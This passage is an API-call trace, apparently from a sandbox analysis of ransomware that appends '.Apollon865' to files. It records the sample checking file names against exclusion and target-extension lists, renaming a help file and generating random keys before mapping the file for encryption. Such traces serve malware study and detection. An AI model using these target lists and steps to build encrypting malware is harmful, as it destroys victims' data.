	[0078.673] lstrcmpiW (lpString1="hxn", lpString2="qry") returned -1
	[0078.673] lstrlenW (lpString="qvd") returned 3
	[0078.673] lstrcmpiW (lpString1="hxn", lpString2="qvd") returned -1
	[0078.673] lstrlenW (lpString="rbf") returned 3
	[0078.673] lstrcmpiW (lpString1="hxn", lpString2="rbf") returned -1
	[0078.673] lstrlenW (lpString="rctd") returned 4
	[0078.673] lstrcmpiW (lpString1=".hxn", lpString2="rctd") returned -1
	[0078.673] lstrlenW (lpString="rod") returned 3
	[0078.673] lstrcmpiW (lpString1="hxn", lpString2="rod") returned -1
	[0078.673] lstrlenW (lpString="rodx") returned 4
	[0078.673] lstrcmpiW (lpString1=".hxn", lpString2="rodx") returned -1
	[0078.673] lstrlenW (lpString="rpd") returned 3
	[0078.673] lstrcmpiW (lpString1="hxn", lpString2="rpd") returned -1
	[0078.673] lstrlenW (lpString="rsd") returned 3
	[0078.674] lstrcmpiW (lpString1="hxn", lpString2="rsd") returned -1
	[0078.674] lstrlenW (lpString="sas7bdat") returned 8
	[0078.674] lstrcmpiW (lpString1="1033.hxn", lpString2="sas7bdat") returned -1
	[0078.674] lstrlenW (lpString="sbf") returned 3
	[0078.674] lstrcmpiW (lpString1="hxn", lpString2="sbf") returned -1
	[0078.674] lstrlenW (lpString="scx") returned 3
	[0078.674] lstrcmpiW (lpString1="hxn", lpString2="scx") returned -1
	[0078.674] lstrlenW (lpString="sdb") returned 3
	[0078.674] lstrcmpiW (lpString1="hxn", lpString2="sdb") returned -1
	[0078.674] lstrlenW (lpString="sdc") returned 3
	[0078.674] lstrcmpiW (lpString1="hxn", lpString2="sdc") returned -1
	[0078.674] lstrlenW (lpString="sdf") returned 3
	[0078.674] lstrcmpiW (lpString1="hxn", lpString2="sdf") returned -1
	[0078.674] lstrlenW (lpString="sis") returned 3
	[0078.674] lstrcmpiW (lpString1="hxn", lpString2="sis") returned -1
	[0078.674] lstrlenW (lpString="spq") returned 3
	[0078.674] lstrcmpiW (lpString1="hxn", lpString2="spq") returned -1
	[0078.674] lstrlenW (lpString="te") returned 2
	[0078.674] lstrcmpiW (lpString1="xn", lpString2="te") returned 1
	[0078.674] lstrlenW (lpString="teacher") returned 7
	[0078.674] lstrcmpiW (lpString1="033.hxn", lpString2="teacher") returned -1
	[0078.674] lstrlenW (lpString="tmd") returned 3
	[0078.674] lstrcmpiW (lpString1="hxn", lpString2="tmd") returned -1
	[0078.674] lstrlenW (lpString="tps") returned 3
	[0078.674] lstrcmpiW (lpString1="hxn", lpString2="tps") returned -1
	[0078.674] lstrlenW (lpString="trc") returned 3
	[0078.674] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.674] lstrlenW (lpString="trc") returned 3
	[0078.674] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.674] lstrlenW (lpString="trm") returned 3
	[0078.674] lstrcmpiW (lpString1="hxn", lpString2="trm") returned -1
	[0078.674] lstrlenW (lpString="udb") returned 3
	[0078.674] lstrcmpiW (lpString1="hxn", lpString2="udb") returned -1
	[0078.674] lstrlenW (lpString="udl") returned 3
	[0078.674] lstrcmpiW (lpString1="hxn", lpString2="udl") returned -1
	[0078.674] lstrlenW (lpString="usr") returned 3
	[0078.674] lstrcmpiW (lpString1="hxn", lpString2="usr") returned -1
	[0078.675] lstrlenW (lpString="v12") returned 3
	[0078.675] lstrcmpiW (lpString1="hxn", lpString2="v12") returned -1
	[0078.675] lstrlenW (lpString="vis") returned 3
	[0078.675] lstrcmpiW (lpString1="hxn", lpString2="vis") returned -1
	[0078.675] lstrlenW (lpString="vpd") returned 3
	[0078.675] lstrcmpiW (lpString1="hxn", lpString2="vpd") returned -1
	[0078.675] lstrlenW (lpString="vvv") returned 3
	[0078.675] lstrcmpiW (lpString1="hxn", lpString2="vvv") returned -1
	[0078.675] lstrlenW (lpString="wdb") returned 3
	[0078.675] lstrcmpiW (lpString1="hxn", lpString2="wdb") returned -1
	[0078.675] lstrlenW (lpString="wmdb") returned 4
	[0078.675] lstrcmpiW (lpString1=".hxn", lpString2="wmdb") returned -1
	[0078.675] lstrlenW (lpString="wrk") returned 3
	[0078.675] lstrcmpiW (lpString1="hxn", lpString2="wrk") returned -1
	[0078.675] lstrlenW (lpString="xdb") returned 3
	[0078.675] lstrcmpiW (lpString1="hxn", lpString2="xdb") returned -1
	[0078.675] lstrlenW (lpString="xld") returned 3
	[0078.675] lstrcmpiW (lpString1="hxn", lpString2="xld") returned -1
	[0078.675] lstrlenW (lpString="xmlff") returned 5
	[0078.675] lstrcmpiW (lpString1="3.hxn", lpString2="xmlff") returned -1
	[0078.675] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.14.1033.hxn.Apollon865") returned 68
	[0078.675] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.677] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.677] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=344) returned 1
	[0078.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0078.677] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfa30) returned 1
	[0078.678] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.678] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.678] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0xd8
	[0078.680] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000
	[0078.681] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bfa30) returned 1
	[0078.682] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.682] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.682] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.682] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0078.682] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.682] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0078.682] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.682] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.682] CloseHandle (hObject=0xd8) returned 1
	[0078.683] CloseHandle (hObject=0x15c) returned 1
	[0078.683] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.683] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0078.683] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.683] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.POWERPNT.DEV.14.1033.hxn", cAlternateFileName="MSPOWE~2.HXN")) returned 1
	[0078.683] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.683] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.683] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2=".") returned 1
	[0078.683] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="..") returned 1
	[0078.683] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="windows") returned -1
	[0078.683] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.683] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="temp") returned -1
	[0078.683] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.683] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="boot") returned 1
	[0078.683] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.683] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.683] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.683] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.683] lstrlenW (lpString="MS.POWERPNT.DEV.14.1033.hxn") returned 27
	[0078.683] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.14.1033.hxn") returned 57
	[0078.683] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.POWERPNT.DEV.14.1033.hxn" | out: lpString1="MS.POWERPNT.DEV.14.1033.hxn") returned="MS.POWERPNT.DEV.14.1033.hxn"
	[0078.683] lstrlenW (lpString="MS.POWERPNT.DEV.14.1033.hxn") returned 27
	[0078.683] lstrlenW (lpString="Apollon865") returned 10
	[0078.683] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.683] lstrlenW (lpString=".dll") returned 4
	[0078.683] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2=".dll") returned 1
	[0078.683] lstrlenW (lpString=".lnk") returned 4
	[0078.683] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.683] lstrlenW (lpString=".ini") returned 4
	[0078.683] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2=".ini") returned 1
	[0078.684] lstrlenW (lpString=".sys") returned 4
	[0078.684] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2=".sys") returned 1
	[0078.684] lstrlenW (lpString="MS.POWERPNT.DEV.14.1033.hxn") returned 27
	[0078.684] lstrlenW (lpString="bak") returned 3
	[0078.684] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1
	[0078.684] lstrlenW (lpString="ba_") returned 3
	[0078.684] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1
	[0078.684] lstrlenW (lpString="dbb") returned 3
	[0078.684] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1
	[0078.684] lstrlenW (lpString="vmdk") returned 4
	[0078.684] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1
	[0078.684] lstrlenW (lpString="rar") returned 3
	[0078.684] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1
	[0078.684] lstrlenW (lpString="zip") returned 3
	[0078.684] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1
	[0078.684] lstrlenW (lpString="tgz") returned 3
	[0078.684] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1
	[0078.684] lstrlenW (lpString="vbox") returned 4
	[0078.684] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1
	[0078.684] lstrlenW (lpString="vdi") returned 3
	[0078.684] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1
	[0078.684] lstrlenW (lpString="vhd") returned 3
	[0078.684] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1
	[0078.684] lstrlenW (lpString="vhdx") returned 4
	[0078.684] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1
	[0078.684] lstrlenW (lpString="avhd") returned 4
	[0078.684] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1
	[0078.684] lstrlenW (lpString="db") returned 2
	[0078.684] lstrcmpiW (lpString1="xn", lpString2="db") returned 1
	[0078.684] lstrlenW (lpString="db2") returned 3
	[0078.684] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1
	[0078.684] lstrlenW (lpString="db3") returned 3
	[0078.684] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1
	[0078.684] lstrlenW (lpString="dbf") returned 3
	[0078.684] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1
	[0078.684] lstrlenW (lpString="mdf") returned 3
	[0078.684] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1
	[0078.684] lstrlenW (lpString="mdb") returned 3
	[0078.685] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1
	[0078.685] lstrlenW (lpString="sql") returned 3
	[0078.685] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1
	[0078.685] lstrlenW (lpString="sqlite") returned 6
	[0078.685] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1
	[0078.685] lstrlenW (lpString="sqlite3") returned 7
	[0078.685] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1
	[0078.685] lstrlenW (lpString="sqlitedb") returned 8
	[0078.685] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1
	[0078.685] lstrlenW (lpString="xml") returned 3
	[0078.685] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1
	[0078.685] lstrlenW (lpString="$er") returned 3
	[0078.685] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1
	[0078.685] lstrlenW (lpString="4dd") returned 3
	[0078.685] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1
	[0078.685] lstrlenW (lpString="4dl") returned 3
	[0078.685] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1
	[0078.685] lstrlenW (lpString="^^^") returned 3
	[0078.685] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1
	[0078.685] lstrlenW (lpString="abs") returned 3
	[0078.685] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1
	[0078.685] lstrlenW (lpString="abx") returned 3
	[0078.685] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1
	[0078.685] lstrlenW (lpString="accdb") returned 5
	[0078.685] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1
	[0078.685] lstrlenW (lpString="accdc") returned 5
	[0078.685] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1
	[0078.685] lstrlenW (lpString="accde") returned 5
	[0078.685] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1
	[0078.685] lstrlenW (lpString="accdr") returned 5
	[0078.685] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1
	[0078.685] lstrlenW (lpString="accdt") returned 5
	[0078.685] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1
	[0078.685] lstrlenW (lpString="accdw") returned 5
	[0078.685] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1
	[0078.685] lstrlenW (lpString="accft") returned 5
	[0078.685] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1
	[0078.685] lstrlenW (lpString="adb") returned 3
	[0078.686] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.686] lstrlenW (lpString="adb") returned 3
	[0078.686] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.686] lstrlenW (lpString="ade") returned 3
	[0078.686] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1
	[0078.686] lstrlenW (lpString="adf") returned 3
	[0078.686] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1
	[0078.686] lstrlenW (lpString="adn") returned 3
	[0078.686] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1
	[0078.686] lstrlenW (lpString="adp") returned 3
	[0078.686] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1
	[0078.686] lstrlenW (lpString="alf") returned 3
	[0078.686] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1
	[0078.686] lstrlenW (lpString="ask") returned 3
	[0078.686] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1
	[0078.686] lstrlenW (lpString="btr") returned 3
	[0078.686] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1
	[0078.686] lstrlenW (lpString="cat") returned 3
	[0078.686] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1
	[0078.686] lstrlenW (lpString="cdb") returned 3
	[0078.686] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1
	[0078.686] lstrlenW (lpString="ckp") returned 3
	[0078.686] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1
	[0078.686] lstrlenW (lpString="cma") returned 3
	[0078.686] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1
	[0078.686] lstrlenW (lpString="cpd") returned 3
	[0078.686] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1
	[0078.686] lstrlenW (lpString="dacpac") returned 6
	[0078.686] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1
	[0078.686] lstrlenW (lpString="dad") returned 3
	[0078.686] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1
	[0078.686] lstrlenW (lpString="dadiagrams") returned 10
	[0078.686] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1
	[0078.686] lstrlenW (lpString="daschema") returned 8
	[0078.686] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1
	[0078.686] lstrlenW (lpString="db-journal") returned 10
	[0078.686] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1
	[0078.687] lstrlenW (lpString="db-shm") returned 6
	[0078.687] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1
	[0078.687] lstrlenW (lpString="db-wal") returned 6
	[0078.687] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1
	[0078.687] lstrlenW (lpString="dbc") returned 3
	[0078.687] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1
	[0078.687] lstrlenW (lpString="dbs") returned 3
	[0078.687] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1
	[0078.687] lstrlenW (lpString="dbt") returned 3
	[0078.687] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1
	[0078.687] lstrlenW (lpString="dbv") returned 3
	[0078.687] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1
	[0078.687] lstrlenW (lpString="dbx") returned 3
	[0078.687] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1
	[0078.687] lstrlenW (lpString="dcb") returned 3
	[0078.687] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1
	[0078.687] lstrlenW (lpString="dct") returned 3
	[0078.687] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1
	[0078.687] lstrlenW (lpString="dcx") returned 3
	[0078.687] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1
	[0078.687] lstrlenW (lpString="ddl") returned 3
	[0078.687] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1
	[0078.687] lstrlenW (lpString="dlis") returned 4
	[0078.687] lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1
	[0078.687] lstrlenW (lpString="dp1") returned 3
	[0078.687] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1
	[0078.687] lstrlenW (lpString="dqy") returned 3
	[0078.687] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1
	[0078.687] lstrlenW (lpString="dsk") returned 3
	[0078.687] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1
	[0078.687] lstrlenW (lpString="dsn") returned 3
	[0078.687] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1
	[0078.687] lstrlenW (lpString="dtsx") returned 4
	[0078.687] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1
	[0078.687] lstrlenW (lpString="dxl") returned 3
	[0078.687] lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1
	[0078.688] lstrlenW (lpString="eco") returned 3
	[0078.688] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1
	[0078.688] lstrlenW (lpString="ecx") returned 3
	[0078.688] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1
	[0078.688] lstrlenW (lpString="edb") returned 3
	[0078.688] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1
	[0078.688] lstrlenW (lpString="epim") returned 4
	[0078.688] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1
	[0078.688] lstrlenW (lpString="fcd") returned 3
	[0078.688] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1
	[0078.688] lstrlenW (lpString="fdb") returned 3
	[0078.688] lstrcmpiW (lpString1="hxn", lpString2="fdb") returned 1
	[0078.688] lstrlenW (lpString="fic") returned 3
	[0078.688] lstrcmpiW (lpString1="hxn", lpString2="fic") returned 1
	[0078.688] lstrlenW (lpString="flexolibrary") returned 12
	[0078.688] lstrcmpiW (lpString1=".14.1033.hxn", lpString2="flexolibrary") returned -1
	[0078.688] lstrlenW (lpString="fm5") returned 3
	[0078.688] lstrcmpiW (lpString1="hxn", lpString2="fm5") returned 1
	[0078.688] lstrlenW (lpString="fmp") returned 3
	[0078.688] lstrcmpiW (lpString1="hxn", lpString2="fmp") returned 1
	[0078.688] lstrlenW (lpString="fmp12") returned 5
	[0078.688] lstrcmpiW (lpString1="3.hxn", lpString2="fmp12") returned -1
	[0078.688] lstrlenW (lpString="fmpsl") returned 5
	[0078.688] lstrcmpiW (lpString1="3.hxn", lpString2="fmpsl") returned -1
	[0078.688] lstrlenW (lpString="fol") returned 3
	[0078.688] lstrcmpiW (lpString1="hxn", lpString2="fol") returned 1
	[0078.688] lstrlenW (lpString="fp3") returned 3
	[0078.688] lstrcmpiW (lpString1="hxn", lpString2="fp3") returned 1
	[0078.688] lstrlenW (lpString="fp4") returned 3
	[0078.688] lstrcmpiW (lpString1="hxn", lpString2="fp4") returned 1
	[0078.688] lstrlenW (lpString="fp5") returned 3
	[0078.688] lstrcmpiW (lpString1="hxn", lpString2="fp5") returned 1
	[0078.688] lstrlenW (lpString="fp7") returned 3
	[0078.688] lstrcmpiW (lpString1="hxn", lpString2="fp7") returned 1
	[0078.688] lstrlenW (lpString="fpt") returned 3
	[0078.688] lstrcmpiW (lpString1="hxn", lpString2="fpt") returned 1
	[0078.688] lstrlenW (lpString="frm") returned 3
	[0078.688] lstrcmpiW (lpString1="hxn", lpString2="frm") returned 1
	[0078.689] lstrlenW (lpString="gdb") returned 3
	[0078.689] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.689] lstrlenW (lpString="gdb") returned 3
	[0078.689] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.689] lstrlenW (lpString="grdb") returned 4
	[0078.689] lstrcmpiW (lpString1=".hxn", lpString2="grdb") returned -1
	[0078.689] lstrlenW (lpString="gwi") returned 3
	[0078.689] lstrcmpiW (lpString1="hxn", lpString2="gwi") returned 1
	[0078.689] lstrlenW (lpString="hdb") returned 3
	[0078.689] lstrcmpiW (lpString1="hxn", lpString2="hdb") returned 1
	[0078.689] lstrlenW (lpString="his") returned 3
	[0078.689] lstrcmpiW (lpString1="hxn", lpString2="his") returned 1
	[0078.689] lstrlenW (lpString="ib") returned 2
	[0078.689] lstrcmpiW (lpString1="xn", lpString2="ib") returned 1
	[0078.689] lstrlenW (lpString="idb") returned 3
	[0078.689] lstrcmpiW (lpString1="hxn", lpString2="idb") returned -1
	[0078.689] lstrlenW (lpString="ihx") returned 3
	[0078.689] lstrcmpiW (lpString1="hxn", lpString2="ihx") returned -1
	[0078.689] lstrlenW (lpString="itdb") returned 4
	[0078.689] lstrcmpiW (lpString1=".hxn", lpString2="itdb") returned -1
	[0078.689] lstrlenW (lpString="itw") returned 3
	[0078.689] lstrcmpiW (lpString1="hxn", lpString2="itw") returned -1
	[0078.689] lstrlenW (lpString="jet") returned 3
	[0078.689] lstrcmpiW (lpString1="hxn", lpString2="jet") returned -1
	[0078.689] lstrlenW (lpString="jtx") returned 3
	[0078.689] lstrcmpiW (lpString1="hxn", lpString2="jtx") returned -1
	[0078.689] lstrlenW (lpString="kdb") returned 3
	[0078.689] lstrcmpiW (lpString1="hxn", lpString2="kdb") returned -1
	[0078.689] lstrlenW (lpString="kexi") returned 4
	[0078.689] lstrcmpiW (lpString1=".hxn", lpString2="kexi") returned -1
	[0078.689] lstrlenW (lpString="kexic") returned 5
	[0078.689] lstrcmpiW (lpString1="3.hxn", lpString2="kexic") returned -1
	[0078.689] lstrlenW (lpString="kexis") returned 5
	[0078.689] lstrcmpiW (lpString1="3.hxn", lpString2="kexis") returned -1
	[0078.689] lstrlenW (lpString="lgc") returned 3
	[0078.689] lstrcmpiW (lpString1="hxn", lpString2="lgc") returned -1
	[0078.689] lstrlenW (lpString="lwx") returned 3
	[0078.690] lstrcmpiW (lpString1="hxn", lpString2="lwx") returned -1
	[0078.690] lstrlenW (lpString="maf") returned 3
	[0078.690] lstrcmpiW (lpString1="hxn", lpString2="maf") returned -1
	[0078.690] lstrlenW (lpString="maq") returned 3
	[0078.690] lstrcmpiW (lpString1="hxn", lpString2="maq") returned -1
	[0078.690] lstrlenW (lpString="mar") returned 3
	[0078.690] lstrcmpiW (lpString1="hxn", lpString2="mar") returned -1
	[0078.690] lstrlenW (lpString="marshal") returned 7
	[0078.690] lstrcmpiW (lpString1="033.hxn", lpString2="marshal") returned -1
	[0078.690] lstrlenW (lpString="mas") returned 3
	[0078.690] lstrcmpiW (lpString1="hxn", lpString2="mas") returned -1
	[0078.690] lstrlenW (lpString="mav") returned 3
	[0078.690] lstrcmpiW (lpString1="hxn", lpString2="mav") returned -1
	[0078.690] lstrlenW (lpString="maw") returned 3
	[0078.690] lstrcmpiW (lpString1="hxn", lpString2="maw") returned -1
	[0078.690] lstrlenW (lpString="mdbhtml") returned 7
	[0078.690] lstrcmpiW (lpString1="033.hxn", lpString2="mdbhtml") returned -1
	[0078.690] lstrlenW (lpString="mdn") returned 3
	[0078.690] lstrcmpiW (lpString1="hxn", lpString2="mdn") returned -1
	[0078.690] lstrlenW (lpString="mdt") returned 3
	[0078.690] lstrcmpiW (lpString1="hxn", lpString2="mdt") returned -1
	[0078.690] lstrlenW (lpString="mfd") returned 3
	[0078.690] lstrcmpiW (lpString1="hxn", lpString2="mfd") returned -1
	[0078.690] lstrlenW (lpString="mpd") returned 3
	[0078.690] lstrcmpiW (lpString1="hxn", lpString2="mpd") returned -1
	[0078.690] lstrlenW (lpString="mrg") returned 3
	[0078.690] lstrcmpiW (lpString1="hxn", lpString2="mrg") returned -1
	[0078.690] lstrlenW (lpString="mud") returned 3
	[0078.690] lstrcmpiW (lpString1="hxn", lpString2="mud") returned -1
	[0078.690] lstrlenW (lpString="mwb") returned 3
	[0078.690] lstrcmpiW (lpString1="hxn", lpString2="mwb") returned -1
	[0078.690] lstrlenW (lpString="myd") returned 3
	[0078.690] lstrcmpiW (lpString1="hxn", lpString2="myd") returned -1
	[0078.690] lstrlenW (lpString="ndf") returned 3
	[0078.690] lstrcmpiW (lpString1="hxn", lpString2="ndf") returned -1
	[0078.690] lstrlenW (lpString="nnt") returned 3
